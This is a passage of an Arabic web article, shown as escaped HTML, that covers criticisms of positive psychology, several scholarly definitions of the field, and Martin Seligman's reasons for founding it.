\u0628\u0635\u0645\u0627\u062a \u0627\u0644\u0642\u0648\u0629\u060c \u062a\u062f\u0648\u064a\u0646 \u0635\u062d\u0641 \u0627\u0644\u0627\u0645\u062a\u0646\u0627\u0646\u060c \u0648\u0632\u064a\u0627\u0631\u0627\u062a \u0627\u0644\u0627\u0645\u062a\u0646\u0627\u0646(Harvard Health Publishing, 2008).<\/p>\n<p style=\"text-align: justify;\">\u0648\u0644\u0644\u0642\u0631\u0627\u0621\u0629 \u0639\u0646 \u0642\u0648\u0629 \u062a\u0637\u0628\u064a\u0642 \u0645\u0628\u0627\u062f\u0626 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u0627\u0644\u0645\u0645\u0627\u0631\u0633\u0627\u062a \u0627\u0644\u0645\u0647\u0646\u064a\u0629 \u064a\u0646\u0635\u062d \u0628\u0627\u0644\u0627\u0637\u0644\u0627\u0639 \u0639\u0644\u0649 \u0643\u062a\u0627\u0628 &#8220;\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u0627\u0644\u0645\u0645\u0627\u0631\u0633\u0629 <em>Positive Psychology in Practice<\/em>&#8221; \u062a\u0623\u0644\u064a\u0641 \u0623\u0644\u064a\u0643\u0633 \u0644\u0646\u0644\u064a Alex Linley\u060c \u0648\u0633\u062a\u0641\u064a\u0646 \u062c\u0648\u0632\u064a\u0641 Stephen Joseph.<\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><em><strong>\u062a\u0627\u0633\u0639\u064b\u0627- <\/strong><strong>\u0646\u0642\u062f \u062d\u0631\u0643\u0629 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a:<\/strong><\/em><\/span><\/p>\n<p style=\"text-align: justify;\">\u0631\u063a\u0645 \u0623\u0646 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u062d\u0638\u0649 \u0628\u0627\u0647\u062a\u0645\u0627\u0645 \u0644\u0627 \u0645\u062b\u064a\u0644 \u0644\u0647 \u0645\u0642\u0627\u0631\u0646\u0629 \u0628\u0641\u0631\u0648\u0639 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0623\u062e\u0631\u0649\u060c \u0625\u0644\u0627 \u0623\u0646\u0647 \u0648\u0645\u0646\u0630 \u062a\u0623\u0633\u064a\u0633\u0647 \u062a\u0639\u0631\u0636 \u0644\u0627\u0646\u062a\u0642\u0627\u062f\u0627\u062a \u062d\u0627\u062f\u0629 \u0645\u0646 \u0642\u0628\u0644 \u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u062a\u062e\u0635\u0635\u064a\u0646 \u0641\u064a \u0627\u0644\u062f\u0631\u0627\u0633\u0627\u062a \u0627\u0644\u0646\u0641\u0633\u064a\u0629\u060c \u062d\u064a\u062b \u0639\u0631\u0636 \u0639\u062f\u062f \u0645\u0646 \u0623\u0628\u0631\u0632 \u0639\u0644\u0645\u0627\u0621 \u0627\u0644\u0646\u0641\u0633 \u0641\u064a \u0633\u0646\u0629 2015 \u0648\u0641\u064a \u0623\u062d\u062f \u0627\u0644\u0645\u0624\u062a\u0645\u0631\u0627\u062a \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0627\u0644\u0647\u0627\u0645\u0629 \u0641\u064a\u00a0 \u0627\u0644\u0645\u062c\u0627\u0644 \u0643\u062b\u064a\u0631\u064b\u0627 \u0645\u0646 \u0627\u0644\u0627\u0646\u062a\u0642\u0627\u062f\u0627\u062a \u0648\u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646\u00a0 \u062a\u0646\u0627\u0648\u0644 \u0623\u0647\u0645\u0647\u0627 \u0639\u0644\u0649 \u0627\u0644\u0646\u062d\u0648 \u0627\u0644\u062a\u0627\u0644\u064a:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0646\u062a\u0627\u0626\u062c \u062f\u0631\u0627\u0633\u0627\u062a\u0647 \u0627\u0644\u0628\u062d\u062b\u064a\u0629 \u0631\u0628\u0645\u0627 \u063a\u064a\u0631 \u0635\u0627\u062f\u0642\u0629 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\u062a\u0634\u0643\u064a\u0643\u064b\u0627 \u0641\u064a\u0647\u0627.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u064a\u0631\u062a\u0643\u0632 \u0639\u0644\u0649 \u0627\u0644\u062a\u062d\u064a\u0632 \u0627\u0644\u062b\u0642\u0627\u0641\u064a \u0648\u0627\u0644\u0639\u0631\u0642\u064a:<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0623\u062c\u0631\u064a\u062a \u0648\u0646\u0634\u0631\u062a \u063a\u0627\u0644\u0628\u064a\u0629 \u0628\u062d\u0648\u062b \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u0627\u0644\u0645\u062c\u062a\u0645\u0639\u0627\u062a \u0627\u0644\u063a\u0631\u0628\u064a\u0629\u060c \u0648\u0645\u0646 \u0627\u0644\u0648\u0627\u0636\u062d \u0623\u0646 \u0645\u0639\u0638\u0645 \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u0627\u062a \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0648\u0627\u0644\u062f\u0631\u0627\u0633\u0627\u062a \u0627\u0644\u0628\u062d\u062b\u064a\u0629 \u062a\u0639\u0627\u0645\u0644\u062a \u0648\u0648\u062c\u0647\u062a \u0644\u0644\u0637\u0628\u0642\u0629 \u0627\u0644\u0645\u062a\u0648\u0633\u0637\u0629 \u0627\u0644\u0628\u064a\u0636\u0627\u0621\u060c \u0648\u0627\u0644\u062a\u064a \u0644\u0627 \u062a\u0639\u0627\u0646\u064a \u0645\u0646 \u0645\u062a\u0627\u0639\u0628 \u0627\u0644\u062d\u064a\u0627\u0629 \u0643\u0645\u0627 \u0647\u0648 \u062d\u0627\u0644 \u0627\u0644\u0646\u0627\u0633 \u0641\u064a \u0627\u0644\u0645\u062c\u062a\u0645\u0639\u0627\u062a \u0627\u0644\u0623\u062e\u0631\u0649 \u0630\u0627\u062a \u0627\u0644\u062b\u0642\u0627\u0641\u0627\u062a \u0627\u0644\u0645\u062e\u062a\u0644\u0641\u0629\u060c \u0627\u0644\u0623\u0645\u0631 \u0627\u0644\u0630\u064a \u0633\u0648\u063a \u0645\u0642\u0648\u0644\u0629 \u0623\u0646 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0647\u0648 \u0639\u0644\u0645 \u0646\u0641\u0633 \u0627\u0644\u0631\u062c\u0644 \u0627\u0644\u063a\u0631\u0628\u064a \u0627\u0644\u0623\u0628\u064a\u0636 \u0627\u0644\u0623\u0645\u0631\u064a\u0643\u064a \u0631\u0628\u0645\u0627 \u0639\u0644\u0649 \u0648\u062c\u0647 \u0627\u0644\u062a\u062d\u062f\u064a\u062f.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0627\u0644\u0625\u0644\u062d\u0627\u062d \u0627\u0644\u0634\u062f\u064a\u062f \u0641\u064a \u0623\u062f\u0628\u064a\u0627\u062a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0639\u0644\u0649 \u0627\u0644\u0645\u0646\u0638\u0648\u0631 \u0627\u0644\u0641\u0631\u062f\u064a \u0648\u0627\u0644\u0645\u0628\u0627\u0644\u063a\u0629 \u0641\u064a \u0627\u0644\u0641\u0631\u062f\u064a\u0629:<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0645\u0646 \u0627\u0644\u0646\u0642\u0627\u0637 \u0627\u0644\u0623\u062e\u0631\u0649 \u0641\u064a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0630\u0644\u0643 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0627\u0644\u0645\u0628\u0627\u0644\u063a \u0641\u064a\u0647 \u0639\u0644\u0649 \u0627\u0644\u0641\u0631\u062f: \u0639\u0644\u0649 \u0627\u0644\u062e\u0628\u0631\u0627\u062a \u0627\u0644\u0634\u062e\u0635\u064a\u0629\u060c \u0627\u0644\u0633\u0645\u0627\u062a \u0648\u0627\u0644\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u0641\u0631\u062f\u064a\u0629\u060c \u0639\u0644\u0649 \u0627\u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0648\u0627\u0644\u0638\u0648\u0627\u0647\u0631 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u062f\u0627\u062e\u0644 \u0627\u0644\u0634\u062e\u0635\u061b \u0648\u0645\u0646 \u062b\u0645 \u062a\u0636\u064a\u064a\u0642 \u0646\u0637\u0627\u0642 \u0627\u0644\u062e\u0628\u0631\u0629 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629 \u0645\u0639 \u0642\u0635\u0648\u0631 \u0648\u0646\u0642\u0635 \u0641\u064a \u0627\u0644\u0627\u0646\u062a\u0628\u0627\u0647 \u0625\u0644\u0649 \u0627\u0644\u0639\u0644\u0627\u0642\u0627\u062a \u0648\u0641\u0631\u0642 \u0627\u0644\u0639\u0645\u0644 \u0648\u0627\u0644\u062c\u0645\u0627\u0639\u0627\u062a \u0648\u0627\u0644\u0645\u0646\u0638\u0645\u0627\u062a.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0645\u062c\u0631\u062f \u062a\u0631\u0642\u064a\u0629 \u0644\u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0627\u0644\u0634\u062e\u0635\u064a\u0629 \u0627\u0644\u0648\u0627\u0647\u0645\u064a\u0629 \u0623\u0648 \u0646\u0645\u0637 \u0634\u062e\u0635\u064a\u0629 \u0628\u0648\u0644\u064a\u0627\u0646\u0627\u060c \u062f\u0648\u0646 \u0627\u0644\u062a\u0642\u0635\u064a \u0627\u0644\u062d\u0642\u064a\u0642\u064a \u0648\u0627\u0644\u0627\u0633\u062a\u0643\u0634\u0627\u0641 \u0627\u0644\u0641\u0639\u0644\u064a \u0644\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0637\u064a\u0628\u0629:<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0645\u0646 \u0627\u0644\u0627\u0646\u062a\u0642\u0627\u062f\u0627\u062a \u0627\u0644\u062c\u0648\u0647\u0631\u064a\u0629 \u0644\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u062a\u0631\u0643\u064a\u0632\u0647 \u0639\u0644\u0649 \u0627\u0644\u062a\u0631\u0648\u064a\u062c \u062f\u0648\u0646 \u0625\u062f\u0631\u0627\u0643 \u0644\u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0645\u0628\u062f\u0623 \u0628\u0648\u0644\u064a\u0627\u0646\u0627 \u0643\u0648\u0635\u0641 \u0644\u062d\u0627\u0644\u0629 \u0627\u0644\u0623\u0634\u062e\u0627\u0635 \u0627\u0644\u0633\u0639\u062f\u0627\u0621 \u0648\u0627\u0644\u0645\u0628\u062a\u0647\u062c\u0648\u0646 \u0648\u0627\u0644\u0645\u0631\u062d\u0648\u0646 \u0639\u0644\u0649 \u0627\u0644\u062f\u0648\u0627\u0645 \u062f\u0648\u0646 \u0648\u062c\u0648\u062f \u0634\u0648\u0627\u0647\u062f \u0648\u0627\u0642\u0639\u064a\u0629 \u062a\u0633\u0648\u063a \u0630\u0644\u0643.<\/p>\n<p style=\"text-align: justify;\"><em><span style=\"color: #000000;\"><strong>\u0639\u0627\u0634\u0631\u064b\u0627- \u0633\u0628\u0639\u0629 \u062a\u0639\u0631\u064a\u0641\u0627\u062a \u0625\u0636\u0627\u0641\u064a\u0629 \u0644\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a: <\/strong><\/span><\/em><\/p>\n<ul style=\"text-align: justify;\">\n<li>\u064a\u0645\u0643\u0646 \u0639\u0631\u0636 \u0623\u0628\u0631\u0632 \u062a\u0639\u0631\u064a\u0641\u0627\u062a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0639\u0644\u0649 \u0627\u0644\u0646\u062d\u0648 \u0627\u0644\u062a\u0627\u0644\u064a:<\/li>\n<li>&#8220;\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0644\u0644\u0638\u0631\u0648\u0641 \u0648\u0627\u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0633\u0647\u0645 \u0641\u064a \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0623\u0648 \u0627\u0644\u0623\u062f\u0627\u0621 \u0627\u0644\u0646\u0641\u0633\u064a \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0627\u0644\u0623\u0645\u062b\u0644 \u0644\u0644\u0646\u0627\u0633 \u0648\u0627\u0644\u062c\u0645\u0627\u0639\u0627\u062a \u0648\u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a&#8221;<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Gable, Shelly L., Haidt, Jonathan,\u00a0<em>What (and Why) Is Positive Psychology?<\/em><\/p>\n<ul style=\"text-align: justify;\">\n<li>\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a &#8220;\u0641\u0631\u0639 \u0645\u0646 \u0641\u0631\u0648\u0639 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u064a\u0633\u062a\u062b\u0645\u0631 \u0627\u0644\u0641\u0647\u0645 \u0627\u0644\u0639\u0644\u0645\u064a \u0648\u0627\u0644\u062a\u062f\u062e\u0644 \u0627\u0644\u0641\u0639\u0627\u0644 \u0644\u0644\u0645\u0633\u0627\u0639\u062f\u0629 \u0641\u064a \u062a\u062d\u0642\u064a\u0642 \u062d\u064a\u0627\u0629 \u0645\u0631\u0636\u064a\u0629 \u0648\u0645\u062b\u064a\u0628\u0629 \u0648\u0633\u0648\u064a\u0629 \u0623\u0643\u062b\u0631 \u0645\u0646 \u0645\u062c\u0631\u062f \u0639\u0644\u0627\u062c \u0627\u0644\u0623\u0645\u0631\u0627\u0636 \u0627\u0644\u0646\u0641\u0633\u064a\u0629&#8221;.<strong><a href=\"https:\/\/en.wikipedia.org\/wiki\/Positive_psychology\">Wikipedia<\/a><\/strong>.<\/li>\n<li>\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a &#8220;\u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0644\u0643\u0644 \u0645\u0627 \u064a\u062c\u0639\u0644 \u0627\u0644\u062d\u064a\u0627\u0629 \u062c\u062f\u064a\u0631\u0629 \u0628\u0623\u0646 \u062a\u0639\u0652\u0627\u0634&#8221;.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Peterson, Christopher,\u00a0<em>What is positive psychology and what is it not?<\/em><\/p>\n<ul style=\"text-align: justify;\">\n<li>\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a &#8220;\u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0644\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u060c \u0648\u0645\u062f\u062e\u0644 \u062a\u0637\u0628\u064a\u0642\u064a \u0644\u0644\u0623\u062f\u0627\u0621 \u0627\u0644\u0646\u0641\u0633\u064a \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0627\u0644\u0623\u0645\u062b\u0644\u060c \u0648\u064a\u0639\u0631\u0641 \u0623\u064a\u0636\u064b\u0627 \u0628\u0623\u0646\u0647 &#8220;\u062f\u0631\u0627\u0633\u0629 \u0645\u0643\u0627\u0645\u0646 \u0627\u0644\u0642\u0648\u0629 \u0648\u0627\u0644\u0641\u0636\u0627\u0626\u0644 \u0627\u0644\u062a\u064a \u062a\u0645\u0643\u0646 \u0627\u0644\u0623\u0641\u0631\u0627\u062f \u0648\u0627\u0644\u0645\u062c\u062a\u0645\u0639\u0627\u062a \u0648\u0627\u0644\u0645\u0646\u0638\u0645\u0627\u062a \u0645\u0646 \u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0648\u0627\u0644\u0627\u0631\u062a\u0642\u0627\u0621 &#8220;Positive Psychology <a href=\"http:\/\/www.positivepsychologyinstitute.com.au\/what_is_positive_psychology.html\"><strong>Institute<\/strong><\/a>.<\/li>\n<li>&#8220;\u064a\u062a\u0639\u0630\u0631 \u062d\u0635\u0631 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u0645\u062c\u0631\u062f \u062a\u0635\u0648\u064a\u0628 \u0627\u0644\u0636\u0631\u0631 \u0623\u0648 \u0639\u0644\u0627\u062c \u0627\u0644\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u0646\u0641\u0633\u064a\u0629\u061b \u0644\u0643\u0648\u0646\u0647 \u0641\u0631\u0639\u064b\u0627 \u064a\u062a\u0633\u0644\u062d \u0628\u0623\u0641\u0643\u0627\u0631 \u0625\u0628\u062f\u0627\u0639\u064a\u0629 \u0648\u0631\u0624\u0649 \u062a\u0635\u0648\u0631\u064a\u0629 \u0648\u0648\u0633\u0627\u0626\u0644 \u0645\u0646\u0647\u062c\u064a\u0629 \u062a\u0633\u062a\u0647\u062f\u0641 \u062a\u062d\u0633\u064a\u0646 \u0648\u062a\u063a\u064a\u064a\u0631 \u0638\u0631\u0648\u0641 \u0627\u0644\u0646\u0627\u0633 \u0648\u062a\u062c\u0648\u064a\u062f \u062d\u064a\u0627\u062a\u0647\u0645&#8221;.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Wong, Paul T. P., Wong, Lilian C. J., McDonald, Marvin J., Klaassen, Derrick W., \u00a02012,\u00a0<em>The Positive Psychology of Meaning and Spirituality<\/em><\/p>\n<ul style=\"text-align: justify;\">\n<li>\u064a\u0639\u0631\u0641 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0628\u0623\u0646\u0647 &#8220;\u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0644\u0645\u0643\u0627\u0645\u0646 \u0627\u0644\u0642\u0648\u0629 \u0648\u0627\u0644\u0641\u0636\u0627\u0626\u0644 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629&#8221;\u060c \u0648\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0648\u0641\u0642\u064b\u0627 \u0644\u062a\u0635\u0648\u0631\u0627\u062a \u0645\u0627\u0631\u062a\u064a\u0646 \u0633\u064a\u0644\u062c\u0645\u0627\u0646 \u0627\u0644\u0623\u0628 \u0627\u0644\u0645\u0624\u0633\u0633 \u0644\u0647 \u0628\u0623\u0646\u0647 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justify;\">\u0627\u0644\u0623\u0645\u0631 \u0627\u0644\u0630\u064a \u0631\u062a\u0628 \u062a\u0648\u062c\u0647\u064b\u0627 \u0646\u062d\u0648 \u062a\u0631\u0643\u064a\u0632 \u062f\u0631\u0627\u0633\u0627\u062a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0633\u064a\u0627\u0642 \u062a\u0646\u0638\u064a\u0631\u064b\u0627 \u0648\u0648\u0635\u0641\u064b\u0627 \u0648\u062a\u0641\u0633\u064a\u0631\u064b\u0627 \u0648\u0642\u064a\u0627\u0633\u064b\u0627 \u0644\u0645\u0642\u0648\u0645\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0648\u0645\u0638\u0627\u0647\u0631\u0647\u0627 \u0648\u0645\u0644\u0627\u0645\u062d\u0647\u0627\u060c \u0628\u0645\u0627 \u0635\u0627\u062d\u0628 \u0630\u0644\u0643 \u0645\u0646 \u062a\u0637\u0648\u064a\u0631 \u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0635\u064a\u063a \u0627\u0644\u062a\u062f\u062e\u0644 \u0644\u062a\u0631\u0642\u064a\u0629 \u0648\u062a\u0639\u0632\u064a\u0632 &#8220;\u0627\u0644\u062a\u0646\u0639\u0645 \u0648\u0627\u0644\u0647\u0646\u0627\u0621 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629&#8221;\u060c \u0648\u0627\u0644\u0627\u0631\u062a\u0642\u0627\u0621 \u0628\u0646\u0648\u0639\u064a\u0629 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0628\u0634\u0631\u064a\u0629 \u0628\u0635\u0641\u0629 \u0639\u0627\u0645\u0629.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0639\u0644\u0649 \u0630\u0644\u0643 \u0642\u062f \u064a\u0643\u0648\u0646 \u0645\u0646 \u0627\u0644\u0645\u0641\u064a\u062f \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0633\u064a\u0627\u0642 \u0625\u0639\u0627\u062f\u0629 \u0627\u0644\u062a\u0630\u0643\u064a\u0631 \u0628\u062a\u0639\u0631\u064a\u0641 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0648\u0641\u0642\u064b\u0627 \u0644\u0645\u0631\u0643\u0632 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0628\u062c\u0627\u0645\u0639\u0629 \u0628\u0646\u0633\u0644\u0641\u0627\u0646\u064a\u0627 \u0628\u0627\u0639\u062a\u0628\u0627\u0631\u0647 \u0627\u0644\u062c\u0647\u0629 \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0627\u0644\u0623\u0648\u0644\u0649 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0635\u062f\u062f \u0648\u0645\u0641\u0627\u062f\u0647 \u0623\u0646 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a&#8221;\u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0644\u0645\u0643\u0627\u0645\u0646 \u0627\u0644\u0642\u0648\u0629 \u0648\u0627\u0644\u0641\u0636\u0627\u0626\u0644 \u0627\u0644\u062a\u064a \u062a\u0645\u0643\u0646 \u0627\u0644\u0623\u0641\u0631\u0627\u062f \u0648\u0627\u0644\u0645\u062c\u062a\u0645\u0639\u0627\u062a \u0645\u0646 \u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631&#8221;\u060c \u0648\u064a\u0631\u062a\u0643\u0632 \u0645\u062c\u0627\u0644 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0639\u0644\u0649 \u0627\u0639\u062a\u0642\u0627\u062f \u0639\u0627\u0645 \u0645\u0641\u0627\u062f\u0647 \u0623\u0646 \u0627\u0644\u0646\u0627\u0633 \u064a\u0631\u063a\u0628\u0648\u0646 \u0641\u064a:<\/p>\n<p style=\"text-align: justify;\">(\u0623) \u062a\u0643\u0648\u064a\u0646 \u0648\u0642\u064a\u0627\u062f\u0629 \u062d\u064a\u0627\u0629 \u0645\u0641\u0647\u0645\u0629 \u0628\u0627\u0644\u0645\u0639\u0646\u0649 \u0648\u0627\u0644\u0625\u062b\u0645\u0627\u0631.<\/p>\n<p style=\"text-align: justify;\">(\u0628) \u062a\u0646\u0645\u064a\u0629 \u0648\u062a\u0631\u0642\u064a\u0629 \u0623\u0641\u0636\u0644 \u0645\u0627 \u0641\u064a\u0647\u0645 \u0645\u0646 \u0633\u062c\u0627\u064a\u0627 \u0648\u0641\u0636\u0627\u0626\u0644 \u0648\u0642\u062f\u0631\u0627\u062a.<\/p>\n<p style=\"text-align: justify;\">(\u062c) \u062a\u062d\u0633\u064a\u0646 \u0648\u062a\u0639\u0632\u064a\u0632 \u062e\u0628\u0631\u0627\u062a\u0647\u0645 \u0641\u064a: \u0627\u0644\u062d\u0628\u060c \u0627\u0644\u0639\u0645\u0644\u060c \u0648\u0627\u0644\u0644\u0639\u0628.<\/p>\n<p style=\"text-align: justify;\">\u0645\u0646 \u062c\u0627\u0646\u0628 \u0622\u062e\u0631 \u064a\u0639\u0631\u0641 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0628\u0623\u0646\u0647 &#8220;\u064a\u0639\u0631\u0641 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0628\u0623\u0646\u0647 &#8220;\u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0644\u0644\u0623\u062f\u0627\u0621 \u0627\u0644\u0646\u0641\u0633\u064a \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a \u0627\u0644\u0623\u0645\u062b\u0644 \u0648\u064a\u0633\u062a\u0647\u062f\u0641 \u0627\u0644\u0643\u0634\u0641 \u0639\u0646 \u0648\u062a\u0646\u0645\u064a\u0629 \u0627\u0644\u0639\u0648\u0627\u0645\u0644 \u0627\u0644\u062a\u064a \u062a\u0633\u0645\u062d \u0644\u0644\u0623\u0641\u0631\u0627\u062f \u0648\u0627\u0644\u0645\u062c\u062a\u0645\u0639\u0627\u062a \u0628\u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631&#8221;. \u0648\u062c\u0627\u0621 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0648\u0641\u0642\u064b\u0627 \u0644\u0645\u0627 \u0631\u0623\u0649 \u0645\u0627\u0631\u062a\u064a\u0646 \u0625\u0644\u064a\u0627\u0633 \u0628\u064a\u062a\u0631 \u0633\u064a\u0644\u062c\u0645\u0627\u0646 Martin Seligman \u0645\u0624\u0633\u0633 \u0648\u0623\u0628 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a:<\/p>\n<ul style=\"text-align: justify;\">\n<li>\u0643\u0631\u062f \u0641\u0639\u0644 \u0639\u0644\u0649 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0639\u0627\u062f\u064a \u0623\u0648 \u0627\u0644\u062a\u0642\u0644\u064a\u062f\u064a.<\/li>\n<li>\u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0637\u0648\u064a\u0644 \u0627\u0644\u0645\u062f\u0649 \u062e\u0644\u0627\u0644 \u062a\u0627\u0631\u064a\u062e \u0648\u0645\u0633\u064a\u0631\u0629 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0639\u0644\u0649 \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u0634\u0641\u0627\u0621 \u0645\u0646 \u0627\u0644\u0645\u0631\u0636 \u0627\u0644\u0646\u0641\u0633\u064a \u0648\u0627\u0644\u0639\u0648\u062f\u0629 \u0625\u0644\u0649 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0627\u0644\u0646\u0642\u0637\u0629 \u0635\u0641\u0631 \u0623\u0648 \u062e\u0637\u0629 \u0627\u0644\u0623\u0633\u0627\u0633.<\/li>\n<li>\u0627\u0644\u0625\u0633\u0631\u0627\u0641 \u0641\u064a \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0646\u0645\u0648\u0630\u062c \u0627\u0644\u0645\u0631\u0636 \u0641\u064a \u0627\u0644\u0648\u0635\u0641 \u0648\u0627\u0644\u062a\u0641\u0633\u064a\u0631.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u062a\u0628\u0639\u064b\u0627 \u0644\u0630\u0644\u0643 \u064a\u062c\u062a\u0647\u062f 